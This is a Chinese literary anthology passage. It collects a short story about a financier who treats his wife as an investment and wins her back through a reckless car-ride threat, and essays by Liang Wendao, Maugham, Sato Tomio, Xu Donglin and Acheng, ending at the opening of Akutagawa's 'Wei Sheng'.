　　“公共基金更好，”亨利说，他是一位律师。

　　他们三个是好朋友，正在爱德华家聊天。

　　“很难说风险有多大，”爱德华继续说。“比如，有些好像非常保险的投资，最后却一败涂地。人类感情方面也一样，也有风险。”

　　“感情？”乔治说，“在股票上？”

　　爱德华说：“投资人要经历恐惧、贪婪、期待、不安、空虚、满足、失望等感情。把感情转变成行动，你就可以看到其价值了。”

　　这时候，爱德华太太走进来，三位男士高兴地看着她。她比爱德华年轻二十岁，有一头闪亮的褐发、一张美丽的脸庞和诱人的身段。她微笑着问：“你们需要什么吗？”她看看四周，从电壶里为他们倒咖啡。“爱德华，我要出去一下，过几个小时回来。”

　　“好好玩去吧！”爱德华说。

　　她深情地看着他，靠着他肥胖的肩膀，轻轻地吻他的太阳穴。

　　然后，她走了出去。

　　“我又要说了，爱德华，”亨利说，“你运气真好。”

　　乔治说：“如果我有个像她那样迷人的太太，我决不让她离开我的视线，因为可能有人会抢走她。”

　　“不可能，”爱德华相当自信地说，“她不会看别人一眼的。”

　　乔治好奇地看着他，问：“你怎么会这么自信呢？像你这样的人，她究竟看中了什么呢？”

　　“很多东西。贝丝是我最成功的投资之一。”

　　亨利问：“金融家，你的一切都是投资吗？甚至你的太太？”

　　“我可以向你们承认，”爱德华说，“是，她是我的投资。”

　　“那么，你怎么会这么相信她呢？”亨利问，“你刚刚说过，没有一桩投资是没有风险的。”

　　“不错，不过，我对贝丝的风险已经过去了。”爱德华说到这里，闭上了嘴，但是，另外两人期待地盯着他。最后，爱德华说：“好吧，那我就告诉你们吧。”说完，他却又沉默不语。

　　“你对她的投资是有意识的吗？”

　　“对，”爱德华承认说，“你们知道，我从来没有欺骗过我自己。

　　“我看事情看得很透彻，这是我事业能够成功的原因。我不是美男子，从来就不是，更糟的是，我对女人根本没有吸引力，因此，我一直没有结婚。直到几年前认识贝丝，才决定投资。

　　“我在一位顾客的办公室遇见她，一见面，我就很想要她。爱情？不，我想要过许多女孩子。有时候，我对自己不能得到可爱的女子而沮丧。但是，贝丝是那些女子中我最想要的，她是她们的象征。

　　“我早就可以结婚，我有的是钱，但是，我不想买太太，对贝丝我也不想买，我要用感情打动她。

　　“我告诉自己，把她当成一种投资，一种高级的投资。这个可爱的女子可以永久保留，她会给我快乐。

　　“像任何投资一样，我估计了它的风险。我说过，风险是很难估算清楚的。一位聪明的投资者并不总是寻求风险低的。在这件事上，风险并不低。一个像贝丝那样诱人的女子，加上她本身的虚荣和自私，我估计可能很容易不忠。她可能厌倦她年纪大、又不英俊的丈夫，也可能和我离婚，但我认为，值得一试。我诱导她嫁给我，或者说嫁给我和我的金钱。

　　“最初她颇为满意。我纵容她，娇惯她，让她过得舒服，她以片刻的柔情、屈服，甚至快乐来回报我。不过，那不是爱。

　　“我知道有一些男人在勾引她，这是我预料中的，我不在乎他们的态度，只关心她的。

　　“直到她遇见安东尼，我才开始担心。安东尼是一位电视明星，被人带来参加贝丝举行的宴会。他是个英俊的男人，声音低沉，看到他和贝丝说话的样子，我就感到不妙。”我知道他们什么时候开始约会，这很容易，请个私人侦探就行了。我觉得她渐渐对我冷淡。

　　“有一阵，我没有采取任何行动，希望他们只是逢场作戏，很快就会过去。可是，事实并不是这样。后来，贝丝邀请安东尼来我们家小住这真是太过分了。他认为我是瞎子吗？

　　“当一项投资情况不好时，我们有两种选择：撤出投资，或者冒险买进，以期望未来能得到更多的回报。在这件事上，我决定冒险买进。

　　“一个晴朗的早晨，我劝他们和我一起乘车兜风。我沿着宽阔的道路行驶，那时，路上车辆很少。我摸摸我太太的大腿，它柔软、温暖地紧贴着我的腿，那感受已经好久没有了。

　　“我加大油门，猛踩加速器，我们很快超过前面的几辆车。

　　“‘开慢点，爱德华，’贝丝严厉地说，‘你平常不是这样的。’

　　“她说得对，她习惯了一位保守的丈夫，或许这就是麻烦的一部分。我决定让他们尝尝味道吧。我干巴巴地说：‘在这么晴朗美好的日子去世，真是遗憾。’

　　“安东尼问：‘你这是什么意思？’

　　“‘很简单，今天我们得算账了。’

　　“‘开慢点，爱德华，’贝丝说，‘别胡说八道。’

　　“平常我会服从她的命令，但那时我说：‘我知道你们俩的事，你们以为我是傻瓜吗？’

　　“安东尼说：‘我不懂你是什么意思。’

　　“‘你一直和我太太鬼混。明白了吗？’

　　“安东尼笑起来，他真是一位好演员。他说：‘你发疯了。’

　　“我说：‘安东尼，我曾经派侦探调查过你们俩，所以别装了。’

　　“贝丝倒吸了一口凉气，我一踩油门，汽车的速度更快了。安东尼说：‘好吧，你想干什么？’

　　“‘我要你从车上跳下去，这很可能要了你的命，’我说，‘你会马上死去，不会痛苦。’

　　“‘你疯了。’

　　“‘对，’我说，‘我要你死。’

　　“‘你为什么不回家去大哭一场？爱德华，你这个杀人犯，我可不怕你。’

　　“‘我不是杀人犯，’我说。‘你身上没有我施暴的痕迹，任何情况下，贝丝都无法作证指认她丈夫。不，安东尼，他们会认为是意外事故，门开了，你跌了出去。’

　　“‘你想得倒好，’安东尼说，‘但是，我怀疑，你用什么办法逼我跳车？’

　　“我没有说话，但我的心怦怦直跳，驾车的手在发抖。‘如果你不跳，我就让我们同归于尽，撞得粉碎，只要拐个弯就行了。’

　　“贝丝看着我，好像我是个陌生人。

　　“‘你开什么玩笑？’安东尼说。

　　“‘我准备一死了之，’我说，‘生活没有意义。’

　　“如果你跳车，就会救贝丝的命。

　　“‘你别吓唬人，我可不吃这一套。’

　　“我转动方向盘，汽车失去平衡，它滑向一边，乱转起来，车胎在地上划得吱吱乱响。我不停地摆弄着方向盘和脚踏板。我的技术一向很好。过了一会儿，我又让汽车平稳下来。

　　“贝丝不由自主地呻吟起来，安东尼有点慌张地叫道：‘别太过分了，你这个傻瓜！’

　　“‘我要你先尝尝滋味，’我说，‘下一次，我们就要一块完了。’

　　“只有你的爱才能救贝丝，快点行动吧。

　　“‘你这是虚张声势。’

　　“‘我从不虚张声势，’我说，‘我愿意再给你一分钟，你想要贝丝，但对她的生死好像并不关心。’我感到他的脚在动，他是不是想关掉汽车的引擎？在这种速度下，猛地一关，必死无疑，我仍有时间把车撞个粉碎。

　　“‘你这是虚张声势，’他又说，这一次有些紧张了。

　　“贝丝突然说：‘安东尼，他不是在吓唬人，他是真的。’我一直在等这句话。我知道我这位自负的太太，不仅要人讨好她，还要人肯为她而死。一个人对自己所投资的东西应该了如指掌。

　　“贝丝说：‘别让我死，安东尼，你可以救我。’安东尼恼怒地说：‘我死就没有关系，是吗？你认为我是什么东西？’贝丝看着他，我觉得她一下子冷下来。她说：‘算了。’

　　“‘你根本不关心我，是吗？’安东尼说。

　　“‘算了，’贝丝说，‘我总算明白了你对我的感情。你最爱的还是你自己。’

　　“‘时间到了，就是那棵树，再见，贝丝，我亲爱的。’我故意这么说，向那棵树驶去，树越来越大，越来越清晰。车胎在尖叫，风在哀鸣，世界在哭泣。我们正冲向死亡。

　　“‘等等！’贝丝喊道。

　　我猛地一打方向盘，我们从那棵树边绕过，冲过道路，我慢慢减速，滑行了一会儿，然后汽车的行驶正常了。我们直挺挺地坐着。

　　“‘给我……一个机会，爱德华，求求你。’贝丝恳求道。

　　“‘我告诉你，他这是虚张声势。’安东尼说。

　　“‘求求你，别说了，安东尼。’贝丝说。

　　“‘为什么？为了救你的命？’

　　“‘为了救我们的命。’‘我从不知道我对你有那么重要的意义，我们不能重新开始吗？’‘永远相守吗，贝丝？’‘永远。’‘好吧。’我轻踩油门。

　　“当我们在家门前停下时，安东尼跳下车，咕哝道：‘我应该揍扁你。’

　　“‘你会后悔的。’我说，自信而冷静。他看看我，大步走开了。

　　“贝丝投入我的怀中，全身发抖，我明白我的投资又安全了。

　　“‘你已经成功了。’她说，盯着我的脸。

　　“‘是的，’我说，‘我知道她现在相信我非常爱她，不惜一切要拥有她。她会永远记住这件事，永远有点怕我。我的冒险很成功。’”

　　“爱德华，你真是个聪明的家伙，”亨利说，“按照你的计划，无论如何都是你赢，安东尼输。可是，告诉我，如果他决定跳，怎么办呢？”“那就让他跳吧。”爱德华冷静地说。

　　“你会让他死吗？”

　　“当然，他企图偷盗我的投资。”

　　“你真是个冷酷的家伙，爱德华，但是，等一等，假如贝丝没有那么叫，怎么办？那你的大话不就被揭穿了吗？”

　　“是啊，”乔治说，“我也这么想。”

　　“我再说一遍，”爱德华说，“要投资某件事件，总会有感情上的冒险。你们知道，在冲向死亡、面对永恒的最后一瞬，我第一次了解自己，我领悟到我根本不是虚张声势的人。”

解谜

梁文道

　　我们通常以为爱情是感性的，知识则是理性的。然而我要告诉你的，却是爱情乃一种至为复杂的知识活动。由于恋人相信自己完全看透了对方的本质，而且他是唯一掌握这个真实知识的人，所以有人曾戏弄地把黑格尔的“主奴辩证法”套用在情侣的关系之上。“主人主宰了奴隶的命运，但是奴隶却对他的主人了如指掌。”你控制了我的身心，不过我看穿了你的真实。

　　这种说法似乎言之成理，就以电话为例。等待情人的电话总是难熬，特别是当你空留口讯，对方却保持冷静、爱理不理的时候。所有人际往来，莫非一种应答关系，有呼召遂有响应，送礼就期待回礼，寄了一封信之后就等着回信的到来。电话这种沟通技术使得应答俱在一瞬之间完成，几有共时的幻觉，因此电话通信的悬搁就更加叫人困扰了，也更加凸显了主奴之间的优次地位。不回电话的必定就是主人了。

　　奴隶的地位是很卑贱的，他觉得自己比不上对方，硬是嫌弃自己的种种缺点和过去，生怕它们伤及对方的衣角裙边。当一个恋人处于这类自甘为奴的状态，他的知识之旅就告展开了。在他的眼中，没有什么不是别具意义的，简单如一声叹息，一个手势，一段短笺里的标点符号，似乎都在指示着更遥远的东西。即使是沉默与空白，于他而言也是诠释的密林、知识的迷宫。就像欧洲古代的释经学家对待《圣经》的态度一样，每个字都是神言，引领学者往更深奥更幽微的角落前进，力图批注出至为真实的本义。

　　你的确洞悉主人的核心，但他同时也为你撒下了一张符号之网；你拥有知识，但这寻求知识的活动却永不止息。

当东方遭遇西方

毛姆

　　真想象不出这么大的一座城市会出现在这么偏远的一个地方。当夕阳西下的时侯，登上城门上远远望去，你可以看到喜马拉亚那白雪皑皑的山脉。这是一座人口众多的城市，你只有走在城墙上才不会觉得拥挤；这是一座占地广阔的城市，你就是走得再快，绕城走上一圈也要花上三个小时。距这座城市方园一千公里以内见不到一条铁路，顺城而下的河流很浅，只有载重很轻的船只才可以通行。坐舢板从杨子江下游到达这里要花上五天的时间。在这种环境里有时你难免会扪心自问：我们日常生活中所依赖的火车和蒸气船是不是生存所必不可少的？在这里，数以百万计的人们生于斯，长于斯，老死于斯；在这里，数以百万计的人们创造着财富，创造着艺术，创造着思想。

　　而且在这里还住着一位着名的哲学家，前去拜会这位哲学家是我这次可算是艰苦跋涉的旅途的目的之一。他是中国最大的儒学权威。据说他的英文和德文说得都很流利。他曾做过皇太后着名总督之一的秘书多年，但是现在已经退休。然而，在一年四季，每周固定的日子里，他的门总是向那些渴求知识的人们打开着。他有一群弟子，但人数并不是很多。他的学生们大都喜欢他那简朴的住宅和他对外国大学奢侈的建筑及野蛮人实用科学的深刻批判：同他谈论这些题目只会遭到嘲讽。通过这些传闻我断定他是一位满有个性的人。

　　当我表示想去拜会这位著名的绅士时，我的主人马上答应这我安排这次会面；可是很多天过去了，我还没有得到一点消息。我终于忍不住向主人询问，他耸了耸肩，说道：“我早就派人送了张便条给他，让他到这里来一趟。我不知道他为什么到现在还没有来。他这个人很不通情理。”

　　我不认为用如此傲慢的态度去接近一个哲学家是合适的；他不理会这样随随便便的呼召丝毫没有使我感到意外。我用我能够找到的最谦卑的言辞写了封信给他，向他询问是否可以允许我拜访他。信送出还不到两个小时，我就接到了他的回信，约好第二天上午十点见面。

　　我是坐着轿子去的。前去拜访他的路似乎很长。我们穿过的街道有的拥挤不堪，有的却不见人影。最后我们来到了一条寂静、空旷的街道，在一面长长的白色墙壁上有一扇小门，轿夫在那里把我放了下来。一个轿夫前去叩门，过了很长的一段时间，门上的监视孔打开了，我们看到一双黑色的眼睛在向外张望。经过简短的交涉，我得到了进去的许可。一位衣着破旧、面色苍白而又干枯的年轻人示意我跟着他进去。我不知道这个年轻人是一个仆人还是这位哲学家的弟子。我穿过一个破旧的院子，被领着进入了一个又低又长的房间。房间里仅有几件简单的家具：一张美国式的带盖的桌子，几把黑檀木做的椅子和两张茶几。靠墙摆着的是书架，书架上摆满子各种各样的书籍：毫无疑问，最多的是中国书籍，但也有许多英文、法文和德文的哲学与科学书籍。此外还有数以百计尚未装订的学术书籍杂志。在书架与书架的空格处，挂满了各种各样的书法条幅，我猜想条幅上写的定是孔子的语录。地上没有地毯。这是一间阴冷、没有装饰、十分不舒服的房间。桌子上一只长长的花瓶里所插的黄色菊花是这个毫无格调的房间里的唯一点缀。

　　我坐在这个房间里等了一会儿，那位领我进来的年轻人摆上来一壶茶、两只茶杯和一包弗吉尼亚产的香烟。他刚出去，那位哲学家跟着就进来了。我马上站起来对他给我这个机会拜访他表示感谢。他指给我一把椅子，给我倒上了一杯茶。

　　“你想来见我真使我感到三生有幸，”他说，“你们英国人只与苦力和买办打交道；所以你们认为中国人只有两种：不是苦力定是买办。”

　　我想表示抗议。但是我还没有弄明白他讲这番话的真正意图。他靠在椅子里，用嘲弄的目光看着我。

　　“你们认为只要随便召唤我们就得随叫随到。”

　　这时我才弄明白他对我朋友以那种方式与他联络仍耿耿与怀。我不知道该怎样回答。只得随口说了几句恭维的话。

　　他是一位老人，个子很高，留着一条灰色的细长辨子，大而明亮的眼睛下面已长出很重的眼袋。他的牙齿已参差不齐，也不再洁白。他出奇的瘦，两只手又细又小，苍白没有血色，看起来像鹰爪。我听说他抽大烟。他身穿一件破旧的黑色长袍，头戴一顶黑色的帽子，长袍和帽子都是穿了很多年，业已褪色。一条长裤在脚裸处扎了起来。他在观察我。他还没有搞清楚应该用什么方式待我，你可以看出他保持着一种警戒的态度。而我则可以说是有备而来的，我清楚地知道应该如何同哲学家打交道。在那些关心灵界诸事的人们心目中，哲学家拥有至荣的地位。我们自己的哲学家本杰明·迪斯累里早就讲过应该把哲人奉为神明。我说了很多恭维的话。我注意到他开始有些放松下来。他坐在那里像准备好让人家拍照一样摆好了姿势，等到听到快门的响声后立即放松下来恢复了原本的样子。他指给我看他的著作。

　　“你知道我是在柏林拿的哲学博士，”他说，“那儿以后我又在牛津大学做过一段时间的研究。但是英国人对哲学实在是没有很大的胃口，如果你不介意我这样说的话。”

　　虽然他是用略表歉意的语调来发表这些评论的，但是很明显一点点不同的表示都会引起他的不悦。

　　“可是我们也有过对人类社会思想界多少产生过影响的哲学家呀，”我提醒道。

　　“你是说休谟和柏克莱？可是我在牛津的时侯那里的哲学家们更为关心的并不是哲学问题，而是如何才能不冒犯他们的神学同事。如果他们思考所得出的逻辑结果可能会危及他们在大学社会里的地位的话，他们宁愿放弃。”

　　“您研究过当代哲学在美国的发展吗？”我问道。

　　“你是说实用主义？实用主义是那些相信不可信之物的人们的最后避难所。比起美国的哲学来，我还是更喜欢他们的石油。”

　　他的评论很是尖酸刻薄。我们又坐了下来喝了一杯茶。他开始滔滔不绝地讲了起来。他说着一口多少有些拘泥形式但却是道地的英语，时不时地夹杂着一些德文。如些看来，他这个性格顽固，难以被影响的人还是被德国影响了。德国人的行为方式以及德国人的勤奋刻苦在他心中留下很深的印象。当一位勤奋的德国教授在一份着名的杂志上发表了一篇关于这位哲学家的著作的论文时，他也看到了德国人哲学的敏锐。

　　“我发表过二十本著作，”他说，“而这是整个欧洲出版界对我的成果所施予的唯一关注。”

　　但是他研究西方哲学的唯一目地就是为了佐证他的一贯观点：即儒家学说已经囊括了所有的智慧。他对儒家哲学深信不疑。儒家哲学已经满足了他所有的精神需求，这就使得所有的西方学问变得毫无价值可言。我对这一点十分感兴趣，因为它证明了我的一个观点：哲学与其说是关于逻辑的学说还不如说是关于性情的学说：哲学家所信仰的并不是证据，而是他们自己的性情；他们相信自己的本能，本能认为是对的就是正确的，他们的哲学思考不过就是使已经确定下来的“真理”合理化而已。孔子学说所以能够深深地植根于中国人当中，不过是因为它解释并表达了中国人的性情而已。其它学派则没有做到这一点。

　　我的主人点燃了一支烟。开始时他讲话的声音很细，也显得很疲惫无力；可是随着他对所讲的题目兴趣增大，他的声音也变得宏亮起来。他满有激情地讲着。此时的哲学家已不再有那哲人特有的宁静。他成了一个善辩者和斗士。他对当代关于自由主义的呼声深恶痛决。对他来讲社会是一个团体，而家庭则是这个团体的根基。他捍卫古老的中国，古老的学说，传统的帝制，和孔教严格的教条。当他谈到那些刚刚从国外大学学成归来的人们用他们满是亵渎的双手在无情在撕毁这个世界上最古老的文明时，他的情绪变得异常激动，眼里充满了悲愤。

　　“可是你知道你们在做什么吗？”他愤愤地说道，“你们有什么理由认为你们的东西就比我们的好？你们在艺术或文学上超过了我们吗？我们的思想家没有你们的博大精深吗？我们的文明不如你们的完整，全面，优秀吗？当你们还在居山洞，穿兽皮，过着茹毛饮血的生活时，我们就已经是文明开化的民族了。你知不知道我们曾进行过人类历史上空前绝後的实验？我们曾寻求用智慧，而不是武力来治理这个伟大的国家。而且在许多个世纪里我们是成功了的。可是你们白种人为什么瞧不起我们黄种人？需要我来告诉你吗？就是因为你们发明了机关枪。这是你们的优势。我们是一个不设防的民族，你们可以靠武力把我们这个种族灭绝。我们的哲学家曾有过用法律和秩序治理国家的梦想，你们却用枪炮把这一梦想打得粉碎。现在你们又来向我们的青年人传输你们的经验。你们将你们邪恶的发明强加给我们。可是你们难道不知道我们是一个对机械有着天赋的民族吗？难道你们不知道我们拥有四万万世界上最讲实效，最为勤奋的人们吗？难道你们真的认为我们需要很久的时间才能学会你们的技术吗？当黄种人也可以制造出同样精良的枪炮并迎面向你们开火时，你们白种人还会剩下什么优势吗？你们求助于机关枪，可是到最终你们将在枪口下接受审判。”

　　就是这时我们的谈话被打断了。一个小女孩悄悄地走进来，偎依在老人的身旁。她用好奇的眼光打量着我。老人告诉我这是他最小的女儿。老人把女儿揽在怀里，边与她轻声谈话边亲吻她。小女孩穿着一件黑色的上衣，黑色的裤子刚刚长及脚裸，一条长长的辨子坠在脑后。小女孩是有辛亥革命的当天出生的。那场革命成功地废黜了皇帝。

　　“我想她的出生预示了一个新时代春天的到来，”他说，“她是我们这个伟大民族秋天里的最后一只花朵。”

　　从他书桌的抽屉里老人拿出一些零用钱递给小女孩，打发她出去了。

　　“你看我留着一条辨子，”他把一边用手缕着辨子，一边说道，”它是一个象征。我是古老中国的最后一个代表。“

　　接着他用更为平和的语调同我谈起很久以前的哲学家。那时他们同弟子周游列国，向可以教化的人们宣传自己的学说。各国的国王很是善待他们，或是邀请他们出将入相，或是任命他们主治一方。他学识渊博，谈锋犀利，讲起他这个国家的历史事件来绘声绘色，娓娓动听。我禁不住想他是一个悲剧性人物：他觉得自己有能力治理这个国家，可是却不再有皇帝能够任用他；他觉得自己才高八斗，有能力施教诲之责，他渴望人们会成群地追随他，更渴望把自己的知识传授给他们，可是前来听讲的却寥寥无几，而且还都是些穷困潦倒，食不果腹，呆头笨脑的乡下人。

　　有那么一二刻直觉告诉我该是告辞的时侯了，可是他却没有要我走的意思。最后我不得不向他告辞。我站起来，拉住了我的手。

　　“你来拜访中国的最后一个哲学家，我该送你点什么留作纪念才是。可是我是一个穷人，我不知道送点什么值得你接受的东西。”

　　我连忙说什么都不用送，这次拜访的记忆本身就是最好的纪念。他笑了。

　　“在这个堕落的年代里，人们的记忆都变得短暂了，我还是应该送给你一件有形的东西。我想送给你一本我的拙作，可是你又不能读中文。”

　　他带着困惑但友善的神情望着我。突然间我有了一个主意。

　　“能不能给我一份您的书法作品？”我问道。

　　“你喜欢书法作品？”他笑了。“我年轻时侯的书法在人们的眼里还远不是一无是处呢。”

　　他在书桌边坐了下来，他拿出一张宣纸，展放在桌上。他在砚台上滴了几滴水，拿起墨在上面研好了墨，然后便拿起笔开始写了起来。我站在一旁边看他写字，边想着关于他的一些不大风光的传闻。据传这位老先生，无论何时只要手头积攒一点钱，总是要挥霍在烟花巷里。他的大儿子是这个城市里一个颇有身份的人。对其父的行为感到恼火，觉得受了屈辱，若不是由于这种父子关系的存在，他早就会对这种浪当行为大张挞伐了。在我看来，这种不检点的行为对于其子来说是一件满难于启齿的丑事，但是对于研究人类本性的学者们来说则是一件需以平常心来对待的事情。哲学家们个个都极善于在研究中阐明自己的理论，并根据别人的生活经验得出结论；可是在我看来，哲学们若能够亲身经历人生的各种事情，他们所写的着作会更有价值。对于我自己，我是能以宽容的心来对待这位老人背地里所过的放荡生活。或许他只是在寻求去阐述人类幻想里最不可思义的事情。

　　他写完了。为了使墨能尽快些干涸他撒了些灰在纸上面，然后伸手递给我。

　　“你写的什么？”我问道。

　　我看到他的眼里飘过一丝幸灾乐祸的神情。

　　“我冒昧送给你自己作的两首小诗。”

　　“我不知道您还是一位诗人。”

　　“当中国还是一个未开化的民族的时候，”他挖苦道，“所有受过教育的人就能够写出优美的诗句了。”

　　我拿起纸来看了看上面的中国字。唯一能看明白的就是上面的字是相当有序地排列着的。

　　“您能不能告诉我一下上面写的是什么？”

　　“对不起，我不能，”他回答道，“你不能指望我背叛自己。还是请你的英国朋友帮这个忙吧。那些自以为了解中国的人实际上什么也不了解，但我想你至少会找到人向你解释一下这两首诗的大概意思。”

　　我向他道了别，他则非常客气地一直送我上轿。后来我有机会遇到一位从事汉学研究的朋友，我请他把这两道诗翻译了出来。我不得不承认，每当我读到这两首诗，就不免想起和那位哲学家的会面。

　　第一首诗

　　当初你不爱我

　　你的声音是那么甜美

　　你的眼里充满了笑意

　　你的双手纤细温柔

　　后来你爱上了我

　　你的声音变得苦涩

　　你的眼里充满了泪水

　　你的双手僵硬干涸

　　这是多么的令人悲伤

　　因为爱使你变得

　　不再可爱

　　第二首诗

　　我曾乞求岁月匆匆

　　带走你明亮的双眼

　　你如桃花般娇嫩的皮肤

　　和你迷人的青春朝气

　　那样我就可以独自爱你

　　你也会在乎我的爱

　　岁月真的匆匆过了

　　带走了你明亮的眼睛

　　你如桃花般娇嫩的皮肤

　　和你迷人的青春朝气

　　可是我却不再爱你

　　也不再在乎你的爱

　　按：英国近代著名小说家毛姆于1920年游历中国，并乘舢板千里迢迢逆长江而上，到重庆拜访当时中国最大的儒家辜鸿铭。在1922年所著的《中国游记》一书中，毛姆以“哲学家”为题记载了他和这位哲学家的会面。

你嘴上所说的人生就是你的人生

佐藤富雄

　　“你嘴上所说的人生就是你的人生。”我对很多人说。

　　“好的”“一定会有办法的”“没问题”，每天都能说出这种积极话语的人，他们的每一天都会过得非常顺利，即使遇到了困难，他们也能够渡过难关。

　　相反，每天听嚷着“太糟了”“太让人气愤了”“没办法了”的人，遇到的挫折也特别多，运气也显得特别糟糕。

　　你自己或是你周边的人，是不是也曾经历过这种事情呢？

　　如果你看不清自己，那么，就试着看一下周边的人与事，你一定会发现人们都过着他们嘴上所说的人生。

　　特别地跟钱有关的事情，这一点会更明显。

　　令人吃惊的是，每天叫着“没钱”的人，真的都要是跟金钱无缘的人。这里最关键的信息不是“因为穷而没钱”，而是“天天说着没钱所以穷”。

　　你必须要意识到，每天从自己嘴巴里说出的话拥有很大的威力，从而去改变自己的话语。

　　每天你所说的话，都要给你的一天指明了方向。

　　你说的话一定会在说出口后，变成现实。

　　这是由人的大脑与自律神经决定的事情。人的自律神经通过决定大脑皮层来支配身体。而我们的大脑正是通过学习自律神经将想法传达到身体各部分，从而操纵它们把我们的想法变成现实。

　　小到从自动售货机买饮料这种日常琐事，大到搭乘航天飞机飞太空，世界上所有的事情，都是因为人们最初有的事情，都是因为人们最初有某种想法，在考虑“就这样做”“会变成这样的”后，最终得以实现的。

　　如果要给人们的想法找一个合适的载体，那一定就是人们说的话了。

　　我们在考虑问题的时候，语言其实已经在脑海里浮现了，因此，要把脑海里的语言变成现实，最重要的就是：在考虑问题的时候，如何让语言在脑海里浮现，又该如何把自己正考虑的事情用语言更好地表达出来。

　　也就是说，你最终决定说出口的言语，会或大或小地影响你的人生。

　　积极的语言，才能把你带向美好的人生。

　　语言就如同把飞机带到目的地的自动引擎。只要按下按钮，它就一定能把我们带到目的地。

　　所以，大家首先需要记住的是：我们一定要说积极向上的话。只要持续使用非常积极的话语，就能积累起相关的重要信息，于是在不经意间，我们就已经行动起来，并且逐渐把说过的话变成现实。

想起草药

许冬林

　　秋天，忽然就想起中草药。

　　想起老式书房似的中药房，中药房里那些长长的小抽屉。这个季节，那些小抽屉里都又重新装满了那些野花野草吧，有泥土的香，也有阳光的香。

　　是小时候就已爱上了中药房里的草药香的，温暖而神秘。那时候身体瘦弱，常闹咳嗽，便有母亲领着，坐在苍黑的木桌旁，让花白胡子的老中医按脉，听他沉吟，听他悠长的语调。站在齐至下巴或鼻子的柜台前，看那漆了深红及至褐色油漆的大橱，看那小抽屉上贴着方形的白纸，掌心大小，上面是毛笔写就的行书，咒语一般。

　　如今忆起，我一直迷恋的，竟是草和文字之间的温暖而神秘的组合。一株草还可以入药；入了药的，还可以用拥有这样令人浮想的文字。百合。到底是镇咳祛痰，还用来书写百年好合的愿望？金银花，这厢降了心火，那厢还会顺路捎来金银富贵吗？想起《本草纲目》，想起古老的东方文化里，一株草，甚至一株草的根、茎、叶、花或者果，在中药房的木质抽屉里，在花白胡子的老中医的毛笔里。竟有了那一份不可说的天机玄妙。泥红的陶罐热气腾腾，草药的苦味和香味游魂一样，在老宅子的屋檐下弥散，于是脸色青白的女儿家渐渐唇颊红润，重拾花针。夜半咳嗽的书生也磨墨提笔，吟诗作文。一株草，不论从前的境遇，倘能书页间一番折转，老中医的毛笔一点化，最后俯身在温热的陶罐里，就真是香了。

　　也想过，好好写一篇小说，人物的名字就用那些活色生香的中草药名，当归甘温，生血补心，扶虚益损。逐淤生新。自然，当归该是一个性情温厚的妇人，玲珑智慧，颇识大体。菖蒲性温，开心利窍，祛痹除风，出声至妙。所以菖蒲是个才情横溢的书生，文章清俊，他是苏东坡，或者是李商隐......甘草甘温，调和诸药，炙则温中，生则泻火。如此，甘草是通达明理的大家闺秀，上午诗书下午女红。泽兰甘苦，是薄命红颜，车前子寒，是遭劫后的隐士，苍耳子苦，是晚景薄凉的末路英雄，是李广难封；柴胡味苦，让他做泼皮的小厮，茅根味甘，让她做乡间大脚的丫头......如此，乡野上的根根草草，在泛黄的纸间都寻着了自己的肉和灵，在人间烟火里饱受煎熬，却完成了慈悲的关怀和救赎。

　　如此，转身重看那秋野上的草儿，就觉得一个个。竟都透出了骨子里的那一缕风雅墨香。

溜索

阿城

　　一个钟头之前就听到这隐隐闷雷，初不在意。雷总不停，才渐渐生疑，懒懒问了一句。领队也只懒懒说是怒江，要过溜索了。不由捏紧了心，准备一睹贯滇西的怒江，却不料转出口，依然是闷闷的雷。见前边牛死也不肯再走，心下大惑，就下马向前。行到岸边，抽一口气，腿子抖起来，如牛一般，不敢再往前动半步。

　　万丈绝壁垂直而下，驮队原来就在这壁顶上。怒江自西北天际亮亮而来，深远似涓涓细流，隐隐喧声腾上来，一派森气。俯望那江，蓦地心中一颤，再不敢向下看。 领队稳稳坐在马上，笑一笑。那马平时并不觉得雄壮，此时却静立如伟人，晃一晃头，鬃飘起来。牛铃如击在心上，一步一响，驮队向横在峡上的一根索子颤颤移去。那索似有千钧之力，扯住两岸石壁，谁也动弹不得。

　　领队下马，走到索前，举手敲一敲那索，索一动不动。领队瞟一眼汉子们。一个精瘦短小的汉子站起来，走到索前，从索头扯出一个竹子折的角框，只一跃，腿已入套。脚一用力，飞身离岸，嗖地一下小过去，却发现他腰上还牵一根绳，一端在索头，另一端如带一缕黑烟，弯弯划过峡谷。一只大鹰在瘦小汉子身下十余丈处移来移去，翅膀尖上几根羽毛在风中抖。再看时，瘦小汉子已到索子向上弯的地方，悄没声地反着手倒手拔索，横在索下的绳也一抖抖地长出去。 大家正睁眼望，对岸一个黑点早停在壁上。不一刻，一个长音飘过来，绳子抖了几抖。三条汉子站起来，拍拍屁股，一个一个小过去。领队哑声问道：“可还歇？”余下的汉子漫声应道：“不消。”纷纷走到牛队里卸驮子。

　　牛早卧在地下，两眼哀哀地慢慢眨。两个汉子拽起一条牛，骂着赶到索头。那牛软下去，淌出两滴泪，大眼失了神，皮肉开始抖。汉子们缚了它的四蹄，挂在角框上，又将绳扣住框，发一声喊，猛力一推。牛嘴咧开，叫不出声，皮肉抖得模糊一层，屎尿尽数撒泄。过了索子一多半，那边的汉子用力飞快地收绳，牛倒垂着，升到对岸。这边的牛们都哀哀地叫着，汉子们并不理会，仍一头一头推过去。之后是运驮子，就玩一般了。这边的汉子们也一个接一个飞身小过去。 我战战兢兢跨上角框，领队吼一声：“往下看不得，命在天上！”猛一送，只觉耳边生风，僵着脖颈盯住天，倒像俯身看海。自觉慢了一下，急忙伸手在索上向身后拔去。这索由十几股竹皮扭绞而成，磨得赛刀。手划出血来，黏黏的反而抓得紧。手一松开，撕得钻心一疼，不及多想，赶紧倒上去抓住。猛地耳边有人笑：“莫抓住不撒手，看脚底板！”方才觉出已到索头。慎慎地下来，腿子抖得站不住，脚倒像生下来第一遭知道世界上还有土地，亲亲热热跺几下。

　　猛听得空中一声忽哨，尖得直入脑髓。回身却见领队早已飞到索头，抽身跃下，走到汉子们跟前。

　　牛们终于又上了驮，铃铛朗郎的响着，似是急急地要离开这里。上得马上，才觉出一身黏汗，风吹得身子抖起来。顺风出一口长气，又觉出闷雷原来一直响着。

尾生

芥川龙之介

　　尾生伫立在桥下，等待着她的到来。

　　他抬头一看，只见高高的石桥栏杆，已被爬上来的攀援植物遮盖了一半，桥上人来人往，人们的白色衣裳沐浴着灿烂的夕阳，风儿幽幽地吹拂着他们的衣裙。可是，她还不来。

　　尾生轻轻地吹着口哨，愉快地眺望着桥下的沙洲。

